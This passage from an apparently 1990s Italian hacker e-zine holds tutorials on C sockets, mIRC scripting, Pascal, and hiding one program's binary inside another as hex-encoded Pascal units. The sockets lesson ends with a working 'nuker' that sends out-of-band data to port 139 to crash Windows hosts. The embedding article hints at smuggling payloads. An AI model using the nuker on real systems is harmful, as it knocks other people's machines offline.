scrivere. Per leggere invece (ricevere dati quindi) si usa la stessa sintassi, ma con la funzione read ( int read (int sockfd, char *buffer, int buflen); ), solo che stavolta buffer punta al primo byte della memoria dove si vogliono salvare i dati letti, e buflen sono i caratteri da leggere. Queste due funzioni si basavano sul fatto che il socket e' rappresentato fondalmente come un intero, quindi possiamo usare il suo descriptor come se fosse un file. Ci sono pero' due funzioni che fanno la stessa cosa, ma che sono specifiche per i socket : int recv(int s, void *buf, int len, unsigned int flags); int send(int s, const void *msg, int len, unsigned int flags); vabbe' s e' il descriptor, ecc. ecc. I flag li potete settare a zero oppure potete usare le seguenti costanti : MSG_OOB (out of band) MSG_DONTROUTE Alla fine quando dobbiamo chiudere il socket usiamo shutdown(int socket, int mode); dove mode e' un valore da 0 a 2 (0 chiude le operazioni di scrittura ma continua a ricevere, 1 continua solo a trasmettere, 2 viene chiuso del tutto) E poi per liberare le risorse utilizzate dal socket: closesocket (int socket); E adesso che vi sarete rotti il cazzo finalmente un esempio! Un semplice nuker. #include #include #include #include #include #include #include <stdio.h> <string.h> <netdb.h> <netinet/in.h> <sys/types.h> <sys/socket.h> <unistd.h> #define porta 139 // La classica vittima del nuke main(int argc, char *argv[]){ char *stringa = "sAmPEi"; struct sockaddr_in indirizzo; struct hostent *hp; int socchett; socchett = socket (PF_INET, SOCK_STREAM, 0); // Crea il socket hp = gethostbyname(argv[1]); // Trova l'ip numerico bzero((char *)&indirizzo,sizeof(indirizzo));// Riempie di 0 la strutt. bcopy(hp->h_addr, (char *)&indirizzo.sin_addr, hp->h_length); // Il segno -> indica il membro della struttura puntata. Ad esempio // se ho una struttura di nome computer,con un campo chiamato CPU, // e un puntatore alla struttura (*computer) chiamato computerp, e' // la stessa cosa fare "computer.CPU = 486" o "computerp->CPU = 486" indirizzo.sin_family = AF_INET; indirizzo.sin_port = htons(porta); connect(socchett,(struct sockaddr *)&indirizzo,sizeof(indirizzo)); // Dato che abbiamo riempito una struttura di tipo sockaddr_in ma // connect richiede una di tipo sockaddr, allora utilizziamo un cast send (socchett, stringa, strlen(stringa), MSG_OOB); // Mandiamo una stringa out of band sulla 139 per nukkare close(socchett); } Il programma prende l'indirizzo alfanumerico passatogli sulla riga di comando trova l'ip numerico e invia una stringa OOB sulla 139. Ok, il discorso sui socket e' lungo, lo finisco la prossima volta. Cya ElectroRipper ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ MIRC SCRIPTING TUTORIAL ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ <-<-[ mIRC scripting tutorial ]->-> Bene ragazzi, sotto incitazione di N0bodY88, sar• io che da adesso in poi curer• una sezione che spero diventer… una delle pi— seguite in assoluto: come farvi i vostri script per mIRC! Molti appena mi sentono parlare in "codice", ossia quando parlo di $addtok, /dialog o altre skeefezze, vengono in query e puntualmente mi chiedono: "Ohhhhhh ma sai scriptare" "Emb‚?" "Ma sarai bravissimoooooo!"...muaH, tutte stronzate. Salvo rarissime cose fare uno script decente per chattare Š sempre facilissimo. Infatti il mIRC scripting non Š altro che una versione ridotta ai minimi termini di un linguaggio di programmazione. Questo linguaggio deriva un po' da tutto: dal C, dal Basic, dal Pascal ecc. Prima di iniziare con i fondamenti per• dovete avere ben chiaro in mente il concetto di script. Uno script Š un SOTTOPROGRAMMA del mIRC e niente di pi—. Non pu• andare di molto oltre i limiti del mIRC, tranne che con parecchie ore di programmazione dedicate a creare funzioni fuori dal comune. Una buona soluzione, ma solo se siete bravi con un linguaggio di programmazione visuale (magari non VB ok? meglio Visual C++ o Delphi), Š quella di crearvi il VOSTRO client IRC, con le funzioni che volete, tutte incluse senza i limiti dello scripting. A proposito di limiti dello scripting, non credete di poter fare chiss… quali prodigi, infatti i limiti ci sono eccome! Potrete limitarvi ad un solo men— aggiunto sulla menubar, per creare molte cose belle Š necessaria una quantit… sproporzionata di codice e spesso ci si riduce ad includere nel proprio script molti file per renderlo pi— appetibile. Il problema Š che questi file rallentano l'esecuzione del mIRC, visto che il programma se li carica singolarmente all'avvio (caso di questa "pesantezza" generale Š il Bisnuke 3.0 Gold, veramente immane: immagini di sfondo, suoni, oltre 50 file di script da caricare, tutto per una misera interfaccia grafica, pergiunta neanche dell'autore, visto che Š un addon). Perci• ripeto: niente miracoli! Passiamo adesso ad esaminare i fondamenti dello scripting. Un file di script pu• essere di due tipi diversi: un file .INI o un file di una qualunque altra estensione, purch‚ fatto in testo ASCII. Io consiglio sempre il secondo metodo, meglio se l'estensione del file Š .MRC. Comunque la scelta sta a voi. Ricordate per• che un file INI Š poco leggibile dall' esterno (ossia usando programmi come notepad) perch‚ il mIRC li salva in un formato particolare, che premette una nX= ad ogni riga (la X sta per un numero, che parte da 0 e cresce man mano). Allora, ogni script che si rispetti si compone di tre parti fondamentali: gli ALIAS, i REMOTE e i POPUPS. -----------------------------------ALIAS-------------------------------------ALIAS: un alias Š un comando che produce una serie di operazioni in sequenza, per esempio possiamo creare un alias che dica sul canale in cui siamo "Ciao" ma possiamo anche creare un alias che ci faccia joinare sui nostri canali preferiti, ci autentichi sui bot e saluti tutti. Un portento! Gli alias sono nella forma: <nome dell'alias> { comando1 ... comandoN } Esempio: ciao { join #newbies me saluta tutti topic ecco il mio alias in funzione } Questo alias entra nel canale #newbies, saluta tutti con un /me (azione), e cambia il topic in "ecco il mio alias in funzione". Come spero vi siate accorti i comandi da usare in un alias sono gli stessi che usate normalmente nel mIRC, come /me, /topic, ecc. Le uniche eccezioni sono che potete scrivere in un alias i comandi senza "/", che per dire qualcosa in un canale dovete usare "say <testo>" e che vi Š permesso usare i cosiddetti "Identifiers" che per• vi spiegher• in un'altra lezione. Gli alias sono chiamati dalla riga di comando come i normali comandi del mIRC, ossia premettendo un "/" (segno che per• pu• essere cambiato dalle opzioni, eventualmente mettete quello che avete scelto). Nel nostro esempio il comando verr… chiamato digitando "/ciao" -----------------------------------REMOTE------------------------------------REMOTE: i remote sono le cose pi— importanti. Infatti sono delle righe di codice che hanno la capacit… di rispondere a dei determinati eventi. Per esempio, possiamo fare un remoto che al testo "Pizza Script" kickbanna per 30 secondi quello che ha pronunciato il nome dello script pi— lamer in assoluto. Si dice evento generante l'evento che mette "in moto" il vostro remoto. Questi remoti sono in questa forma: on <livello>:<evento>:<testo (non sempre presente)>:<luogo (non sempre presente)>: { comando1 ... comandoN } Allora, il livello Š un particolare numero associato ad alcuni tipi di utente. Non so se avete presente degli script dove c'Š la friend e la enemy list. In pratica l'essere friend o enemy dipende dal numero che vi Š stato assegnato, ossia il vostro livello. Se per esempio la enemy list ha come livello di default 3, potrebbe esserci un evento on 3:TEXT che appena un enemy parla, esegue le azioni che avete specificato. Il livello base di un utente Š 1, ma potete cambiarlo a vostro piacimento dall'editor di script incluso nel mIRC. L'evento serve a dire quando deve scattare il nostro remoto. TEXT indica alla ricezione di testo, ACTION alla ricezione di un azione, KICK appena viene fatto un kick e cos• via. Chiss… che non appena saremo un pochino pi— esperti non vi faccia pubblicare una bella listona con il funzionamento di tutti gli eventi! Il testo e il luogo sono due parametri non sempre presenti. Infatti il primo Š presente negli eventi come TEXT, ACTION ecc. e indica se deve essere presente una certa stringa nel testo che avete ricevuto. Se non avete un filtro preciso, basta mettere * che vuol dire tutto. Il luogo Š invece indicativo della finestra in cui ricevete qualcosa. I simbolini principali sono: * = tutte le finestre ? = finestra di query # = per tutte le finestre di canale #<nome del canale> = per quel canale in particolare Subito dopo il luogo, vengono i comandi. Questi sono dati come in un alias, ossia senza "/" ecc. Ricordate che non Š sbagliato mettere "/", ma in un grosso script tanti / potrebbero contribuire a fare + grande il codice, e inoltre (almeno secondo me) creano molta confusione. -----------------------------------POPUPS------------------------------------I popups sono la parte meno importante di uno script, ma dei popup ben fatti contribuiscono a creare una senzazione di "bellezza" generale. Infatti i popups sono appunto i men— popup, quelli attivabili col tasto destro. Ma procediamo per ordine. I popup sono di 6 tipi: MENUBAR: La sezione Menubar dei popup crea un men— sulla Menubar, tra il men— DCC e il men— Window STATUS: La sezione status crea un men— richiamabile premendo col tasto destro sulla finestra di status CHANNEL: La sezione channel crea un men— richiamabile col tasto destro sulla finestra di un canale QUERY/CHAT: La sezione Query/Chat crea il men— per le finestre di query e per le DCC chat NICKNAME LIST: La sezione nickname crea il solito men— che appare cliccando col tasto destro su un nickname sulla lista dei nick CUSTOM WINDOWS POPUP: Di questa sezione non molti sanno l'esistenza, ma solo perch‚ non appare nel mIRC Editor. Ma esiste la possibilit… di creare men— popup per le Custom Windows, che sono finestre creabili con appositi comandi. Una piccola parentesi: a partire dal mIRC 5.5 sono state introdotte delle leggere innovazioni. Infatti adesso se nella finestra di un canale, dove ricevete il testo, cliccate col tasto destro mentre la freccina Š sopra un nick apparir… il men— della nicklist. Forma generale dei popup: ------------------------Nome del Men—(questo parametro serve solo nella sezione menubar e indica il nome del vostro men— sulla menubar) Elemento del Men—:comando da eseguire quando cliccate ------------------------Esiste la possibilit… di creare dei separatori, ossia le linee di separazione per gli elementi del men—, inserendo al posto dell'elemento del men— un Inoltre possiamo creare dei sottomen— usando questo metodo: ------------------------Men— Settaggi .Autojoin ..Attivo:comandi per attivare ..Disattivo:comandi per disattivare ....Lista dei canali:comando per la lista .Controlli ..Op:cmd dell'op ..Deop:cmd del deop ..Kick ...Kick:cmd del kick ecc. In pratica questa cosa far… uscire sul vostro mIRC una cosa + o - cos•: Autojoin > Attivo Disattivo Men— Settaggi > ----------------Lista dei canali Controlli > Op Deop Kick > Kick eccetera. Capito?!?! E per adesso abbiamo finito, come prima lezione abbiamo spiegato per benino gli elementi basilari. Nel frattempo che aspettate il prossimo numero di Newbies (non ringrazier• mai abbastanza N0bodY88 per avermi permesso di fare i miei articoli) vi dico un paio di cosette. Inanzitutto se create uno script NON mandatemelo. inoltre scaricatevi un paio di script, magari da NonSoloKick (www.nonsolokick.com, siccome i download sono a password e username, li ho fatti mettere solo per voi). Eccovi un elenzo di script che potrete fare vostri: ZeroTolerance 8.20 (http://ztolerance.cjb.net) <-- CONSIGLIATO! 7thSphere 3.0 (http://www.nonsolokick.com) <-- CONSIGLIATO! VeNo[M] Script 2.1 (http://www.nonsolokick.com) TRiBE IRC 9b43 (http://www.tribe.roxx.ircnet.mcmail.com/) <-- CONSIGLIATO! ShowDowN 9.5 PRO (http://koti.icenet.fi/~julsei/) Pizza Script 3.0 (http://www.chez.com/pizzairc) <-- SOLO PER LAMER0NI! Dynamirc 7.0 (http://www.nonsolokick.com) Pulsar 2.0 (http://www.nonsolokick.com) <-- SOLO PER ME E N0BODY ;D Bisnuke 4.0 (http://www.nonsolokick.com) CryogenIrc 4.0 (http://www.nonsolokick.com) SpYmAsTeR [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ E' un sistema leggermente laborioso ma semplice una volta che si e' preso il via. ;-) Il turbo pascal 7 e' uno dei migliori compilatori che si possono trovare in giro per quanto riguarda la programmazione sotto dos. Se il c e' sicuramente piu' valido ed efficace sia per quanto riguarda la velocita', la flessibilita' nello scrivere i sorgenti e tante altre cose, il tp offre un compilatore ridotto ai minimi termini ( per compilare un programma e farne un eseguibile sono sufficienti per la maggior parte delle applicazioni i files: TPC.exe (54k compattati con wwp) e Turbo.tpl (48k) ) ..in piu' normalmente compila creando eseguibili piu' corti rispetto al c. Tutto questo fa del tp uno dei programmi piu' usati in assoluto ( dopo il C++ della Borland ..che sinceramente anch'io preferisco. ;-) hi hi) ..in relazione a questa cosa mi e' stato fatto notare, a seguito dello scorso articolo sulla possibilita' di nascondere un programma all'interno di un sorgente in VB, che in pascal non sarebbe possibile farlo perche' il compilatore tp non lavora con sorgenti piu' lunghi di 6xKb. E in effetti e' vero.. ma a questo mondo si puo' fare tutto quando ci si mette di sbuzzo buono. :)) Il trucco sta nel costruirsi delle unit (in c sarebbe molto piu' semplice) contenenti solo una parte del programma da riassemblare. Ogni parte ovviamente sara composta da tante linee di sorgente fino a non-occupare il compilatore per dimensioni maggiori del suo massimo lavorativo..quindi riassemblare il tutto. la procedura a blocchi e' questa: Premesse : file_da_inglobare Programma_contenitore azioni: file_da_inglobare -> file_convertito_in_esadecimale | file suddiviso in Nx parti di xKb | creazione di Nx UNIT | aggiunta al programma_contenitore delle unit | aggiunta al programma pincipale di una procedura di ricompattazione delle unit. Si procede cosi'. Per prima cosa si deve convertire il programma da inglobare in maniera tale da avere lo stesso in formato esadecimale inglobato in una o piu' variabili da poter poi riutilizzare con una procedura esterna. Perche' esadecimale? .. perche' la rappresentazione ascii (che sarebbe la migliore in quanto rappresenta un byte con un solo byte appunto! :) ) e' inutilizzabile all'interno di un sorgente ..tp infatti l'editor usa alcuni caratteri ascii come comandi e quindi non verrebbero rappresentati nella maniera corretta. La rappresentazione decimale richiede 3 byte per byte .. infatti il carattere 'd' tanto per fare un esempio dovrebbe essere rappresentato col suo equivalente ascii e cioe' 100. La rappresentazione esadecimale 00-ff e' quindi la strada ottimale da percorrere. I file saranno mediamenti piu' lunghi del 60/70 % .. ma poco importa visti i vantaggi. Si divide quindi file cosi' convertito in linee secondo questo formato a:=' .... primi 40 byte della rappresentazione esadecimale del file .....';p; a:=' .. successivi 40 byte della rappresentazione esadecimale del file ..';p; ... ... ecc.. ecc... "a" e' una variabile stringa, "p" e' una procedura che prelevera' dalla stringa "a" i dati due alla volta per riscriverli con append sull'hd ricreando il file primario. la variabile "a" e la procedura "p" dovranno essere definite all'interno delle varie unit. ad ogni riga viene eseguita la procedura "p" per la crezione a blocchi di 40 byte del file originale.. quindi secondo come struttureremo la procedura "p" stessa (e le unit) sara' possibile mettere solo un certo numero di linee (come sopra) in una unit specifica e le altre restanti in altre unit diverse. .. come prima cosa serve un programma che converta un file binario nella sua rappresentazione esadecimale e lo converta nel formato a:' .. 40Hex ..';p questo e' lo script in pascal ------------------------------------------ CONVERTI.PAS program converti; uses strings,crt; function hex(l : longint) : string; const hc : array[0..15] of char = ('0','1','2','3','4','5','6','7', '8','9','a','b','c','d','e','f'); begin hex:=hc[(l and $f0) shr 4]+hc[(l and $0f)] end; var k:integer; o:char; n:string; h,l,t:integer; fp1,fp2:text; g: file of byte; begin k:=0; l:=0; n:='spp3.3ds'; { NOME DEL FILE DA CONVERTIRE } assign(g,n);reset(g);t:=filesize(g);close(g); assign(fp1,n); reset(fp1); assign(fp2,'testo.txt'); rewrite(fp2); write(fp2,'a:=',chr(39)); while l<t do begin l:=l+1; read(fp1,o); h:=ord(o); k:=k+1; write(fp2,hex(h)); if k>39 then begin write(fp2,chr(39),';p;',chr(13),chr(10),'a:=',chr(39)); k:=0; end; end; write(fp2,chr(39),';p;',chr(13),chr(10)); close(fp2); close(fp1); end. ------------------------------------------------------------per chi volesse, per confronto, anche la stessa procedura in C.. ------------------------------------------ CONVERTI.C #include <stdio.h> main(){ FILE *fp1,*fp2; unsigned char h; int k=0; char *file,*t=""; file="spp3.3ds"; /* NOME DEL FILE DA CONVERTIRE */ fp1=fopen(file,"rb"); fp2=fopen("testo.txt","wb"); fprintf(fp2,"a:='"); while(!feof(fp1)){ h=fgetc(fp1);k++; if(h<16) fprintf(fp2,"0%x",h); if(h>=16) fprintf(fp2,"%x",h); if(k>39){ fprintf(fp2,"';p;%c%ca:='",13,10); k=0;}} fprintf(fp2,"';p;%c%c",13,10); fclose(fp2); fclose(fp1); } ------------------------------------------------------------lo script produce come output un file con le specifiche sopra riportate. ad esempio il file binario -----------------------------------------------------------------LOGO.JPG ÿØÿà JFIF ÿÛ C ' ",# (7),01444 '9=82<.342ÿÛ C 2 !222222 22222222222222222222222222222222222222222222ÿÀ / Ô " ÿÄ ÿÄ } !1A Qa "q 2•‘¡ #B ±Á RÑð$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ ÿÄ w !1 AQ aq " 2• B‘¡±Á #3Rð brÑ $4á% &'()*56789:CDEFGHIJSTUVWXYZcdefghijstu vwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚâãäåæçèéêòóôõö ÷øùúÿÚ ? ËÔ¿h? Yê·–±éú)HfxÔ´2ä€Ä þóÚªÿ ÃFx¿þ•Ú ýø—ÿ ŽÖ ø•ÃòiÚö¿® ͨ©ƒZ6© ™Aæ†ÞÄe•Ú~RsÈã ç “ÀÚv«wá§ðì÷ki®Nöû/¶´¶ï (rJà2áà `ðE-E©¾Ÿ´GŒ_ŸìÝ úá/ÿ « ~Ð 0“þaÚ'×È—ÿ ŽV.Ÿá¿ ësÜiºCëk~°M%´÷- †f• ðT(* )îqï[º ðœ~ 𰺵Ö]E¬ þHŠâ%#÷Ï»q(•‹8ÇAŽ¦˜É£øïâæë§è¿÷æ_þ9VGÇ? ùqÒ?ïÌ¿ür³ôï é’xÿ RÑïnî J´E•n Ñ\¤ • Œ’A_ùh¤ð8 §Jǃà tíaîZEºµ½ŠÂÝ~ê¼Ì͸0#<* 8äŠBlê×㕉Û?èZ8ÿ ¶R•ñÊ•|mñ!8û “ÿ ~¤ÿ ã••ýƒá!â1á£>°Ú‡Ú ‘»VŒCççnvmÝ·• {8æ¡M Ãúg‡mu rMMžÜAfѨÌd Û™N #Žù¦† Ÿs¬o‹^,] 5Ca¤}™î Ü .Lï ñ¿ UOø]ž$ÿ Ÿ +þýIÿ ÅÕ8ü>ú§…-tý"u–Ùõi&ûL¬ Á ¶‰É•‡ ¨$7ûJEq:³éÉ©Í “$òÙ! “à3àrØ ` œ ¸Æh пáuø“þ|´¯ûõ'ÿ ¦ÿ Âíñ üùi_÷êOþ9^bÒœ t®žÏMÑ-<5i«kCR˜ÞÍ,p¥“" íÉbÀä•Ã c¡¢átt•ñÃÄ€ñc¤ÿ ß©?øå üoñ4’¤•cÑ”³ ËG >§Ì àW7o¢h –«+ØßÝÿ dÛiæúèH€Ï S´Ä8 ÌI\7O›ØÓ[LðÎ¥l²éw7ÖÒ¥Ô0½½ì±³Ê’ FT »Žx=E! = ×Æß ÚÝM ´Ñ$1;!x’GFÁÆT‰0G¡ª¯ñãÅ ñc£•ß™•øåbËá-#Oº×îu9¯Ž™§j& íÊy³>çÆXŒ. 2NÞ ecc.. ecc... ------------------------------------------------------------------------viene convertito cosi': -------------------------------------------------------------TESTO.TXT a:='ffd8ffe000104a46494600010100000100010000ffdb00430008060607060508070707090908 0a0c';p; a:='140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c3031343434 1f27';p; a:='393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c2132323232323232323232 3232';p; a:='3232323232323232323232323232323232323232323232323232323232323232323232323232 ffc0';p; a:='001108012f02d403012200021101031101ffc4001f0000010501010101010100000000000000 0001';p; a:='02030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105 1221';p; a:='31410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a252627 2829';p; a:='2a3435363738393a434445464748494a535455565758595a636465666768696a737475767778 797a';p; a:='838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4 c5c6';p; a:='c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f01 0003';p; a:='0101010101010101010000000000000102030405060708090a0bffc400b51100020102040403 0407';p; a:='05040400010277000102031104052131061241510761711322328108144291a1b1c109233352 f015';p; a:='6272d10a162434e125f11718191a262728292a35363738393a434445464748494a5354555657 5859';p; a:='5a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4 a5a6';p; a:='a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8 e9ea';p; a:='f2f3f4f5f6f7f8f9faffda000c03010002110311003f00cbd4bf683f1659eab796b1e9fa2948 6678';p; ecc... ecc... ------------------------------------------------------------------------per poter ricostruire il file in TP sarebe sufficiente estrapolare i dati esadecimali da ogni singola riga (tramite la produra P) e ricreare il file col proprio nome. Purtroppo spesso e volentieri il numero di righe formattate relative a uno o piu' programmi da includere necessari ai nostri scopi supera abbondantemente i limiti del compilatore tpc .. da qui l'esigenza delle unit. cominciamo con le facili procedure necessarie all'estrazione dei dati. Serve innanzitutto una funzione che separi dalla stringa -a- i dati due a due. Sarebbe comoda una cosa tipo il mid$ del basic.. come questa: var a S : string; : array[0..10] of char; function mid(t:string;n,l:integer):string; var i: integer; begin for i:=n to n+l-1 do s[i-n]:=t[i]; mid:=strpas(s); end; Poi una procedura per convertire i dati della ministringa esadecimale di 2 caratteri estratta in un intero decimale function deci(t:string):integer; var ix,rx,ox,px:integer; begin ox:=0; for ix:=2 downto 1 do begin case t[ix] of 'a'..'f':rx:=ord(t[ix])-ord('a')+10; 'A'..'F':rx:=ord(t[ix])-ord('A')+10; '0'..'9':rx:=ord(t[ix])-ord('0'); end; if ix=1 then begin ox:=ox+rx*16 end else begin ox:=ox+rx end; end; deci:=ox; end; Quindi la procedura p (attaccata in fondo ad ogni stringa formattata) che scriva nel file i caratteri rigenerati. procedure p; var i,fru:integer; begin i:=round(length(a)/2); for fru:=1 to i do Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2)))); end; .. "fruttolo" e' l'assegnazione della variabile di tipo file:text relativa al file che stiamo ricreando e che andra' aperto a inzio procedura generale nella unit. a questo punto siamo in grado di strutturare un completo modulo generale per la nostra (o le nostre unit) --------------------------------------------------------- MODULO.pas {$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+} {$M 16384,0,655360} UNIT unop; INTERFACE uses Strings,crt; var a : string; S : array[0..10] of char; fruttolo : Text; PROCEDURE uno; IMPLEMENTATION function deci(t:string):integer; var ix,rx,ox,px:integer; begin ox:=0; for ix:=2 downto 1 do begin case t[ix] of 'a'..'f':rx:=ord(t[ix])-ord('a')+10; 'A'..'F':rx:=ord(t[ix])-ord('A')+10; '0'..'9':rx:=ord(t[ix])-ord('0'); end; if ix=1 then begin ox:=ox+rx*16 end else begin ox:=ox+rx end; end; deci:=ox; end; function mid(t:string;n,l:integer):string; var i: integer; begin for i:=n to n+l-1 do s[i-n]:=t[i]; mid:=strpas(s); end; procedure p; var i,fru:integer; begin i:=round(length(a)/2); for fru:=1 to i do Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2)))); end; procedure uno; begin Assign(fruttolo, 'passa'); Append(fruttolo); { ... } { qui va la fila di a:=' ....... 40 byte ....... ';p; } { a:=' ... altri 40 byte .... ';p; } { ... } begin close(fruttolo); end; end. ---------------------------------------------------------------------------nella procedura uno (come dichiarato sopra ) andranno inserite le linee generate dallo script converti.pas (file testo.txt) si potranno inserire circa 800 righe di 40 bytes per un totale di circa 32.000 byte del programma originale. Se il programma originale sara' di dimensioni >= 32K bastera' una sola unit altrimenti per un programma di 80K ne serviranno 3 ..e cosi' via. Come metodo generale per la creazione delle unit successive io sempre il modulo sopra .. cambiando tutto gli 'uno' in 'due' per la seconda unit, 'uno' in 'tre' per la terza ..a seguire. Nel programma generale poi sara' sufficiente dichiarare le varie unit consecutivamente USES unop,duep,trep,quap, ... xxxp quindi richamare per la ricostruzione completa del file le varie procedure dichiarate uno;due;tre;qua; ... xxx: ..un esempio di file che ricompatta due unit create col metodo sopra riportato: -----------------------------------------------------------------{$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+} {$M 16384,0,655360} uses unop,duep; var f:text; begin assign(f,'miofile.bin'); rewrite(f); close(f); uno; due; end. --------------------------------------------------------------------le righe assign(f,'miofile.bin'); rewrite(f); close(f); sono necessarie in quanto l'append usato nelle unit se trovasse gia presente sull'hd un file chiamato come il nostro file da rigenerare non ricreerebbe ex novo quest'ultimo ma lo AGGIUNGEREBBE brutalmente a quello trovato. Con rewrite abbiamo la certezza che il nostro file venga ricreato in maniera corretta e partendo dalla locazione 0. .. sarebbe tutto qui in effetti un vero esempio pratico e funzionante.. una demo grafica (poi ognuno potra' invece accludere ai propri sorgenti cio' che piu' gli tornera' utile.. io questo non lo voglio sapere. ) ]:-) E' un programma che ho trovato in giro che ruota sullo schermo oggetti creati col 3d studio .. l'unica cosa e' che una demo classica di solito prevede un solo file exe... allora ho unito il file spp3.3ds al sorgente col sistema citato sopra. Addirittura ho usato 3 unit diverse (ne sarebbe bastata una sola) .. ma lo scopo era appunto quello di mostrare un caso non proprio banale. Sia i sorgenti del file Sppdemo che tutti gli altri ..compresi il file spp3.3ds 30k il file sppdemo.exe (compresso) 38k i vari sorgenti delle unit necessarie al programma principale (x3ds.pas, strprocs.pas, demoinit.pas) le tre unit create col mio mudulo.pas si trovano nel File supporti.zip ( per gli sfaticati ci sono anche i sorgenti del convertitore sia in c che in pascal! convpas.pas, convpas.c ) -------------------------------------------------------------Supporti.zip Convpas.c Convpas.pas 497 858 (convertitore in c) "" Sppdemo.pas Demoint.pas X3ds.pas Strprocs.pas unop.pas duep.pas trep.pas 13710 7660 5476 2691 24812 21932 25614 DEMO GRAFICA SPP |_unit di supporto per demo |__________ "" |__________ "" |______________ 1/3 file spp3.3ds |______________ 2/3 "" |______________ 3/3 "" Sppdemo.exe 38204 Sppdemo.pas compilato e compresso con wwpack Spp3.zip | |_Spp3.3ds 11679 File spp3.3ds compresso 30154 File creato con 3d Studio R4 per DOS. ------------------------------------------------------------Master - Parsifal -= SPP MEMBER =ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ |ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿| |³ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»³| |³º PASCAL TUTORIAL 2 º³| |³ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ³| |ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ| Ehila benvenuti di nuovo in questo Tutorial. Avete capito qualcosa la scorsa volta? Se la risposta e' no continuate a leggere, mentre se la vostra risposta e' si ripassatevi la scorsa lezione. In questa lezione vedremo le strutture non primitive ovvero strutture piu' flessibili che evitano un lungo lavoro di codifica al programmatore. Tra le varie strutture abbiamo quella di selezione multipla, che in questo caso e'il comando CASE. La sua sintassi e' questa: case (x) of 1: begin ... ... \_ Istruzioni ... / end; 2: begin ... ... ... end; 3:begin ... end; ... ... end; X rappresenta la variabile in cui e' contenuta la scelta che ha digitato l'utente. Il case in parole povere fa questo: controlla il valore della variabile x, se e' uguale a 1, esegue il primo procedimento; se e' uguale a 2 esegue il secondo e cosi' via. Sapete cos'e' un vettore? Un vettore e' formato da una variabile che ha tante locazioni di memoria, 